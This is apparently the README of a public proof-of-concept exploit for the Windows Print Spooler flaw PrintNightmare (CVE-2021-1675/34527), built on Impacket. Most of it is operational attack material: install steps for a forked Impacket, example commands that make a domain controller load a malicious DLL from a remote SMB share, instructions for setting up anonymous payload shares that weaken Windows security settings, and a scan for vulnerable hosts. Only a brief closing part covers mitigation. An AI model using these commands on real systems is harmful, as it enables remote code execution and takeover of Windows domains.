CVE-2021-1675 / CVE-2021-34527

Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Tested on a fully patched 2019 Domain Controller

Execute malicious DLL's remote or locally

Patch update

Microsoft has released a patch to mitigate against these attacks but if these values below are present on a machine, then the machine will still be vulnerable

REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

Installation

Before running the exploit you need to install my version of Impacket and after that you're gucci

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SMB configuration

Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

From windows it's also possible

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

Scanning

We can use rpcdump.py from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

Mitigation

Disable Spooler service

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
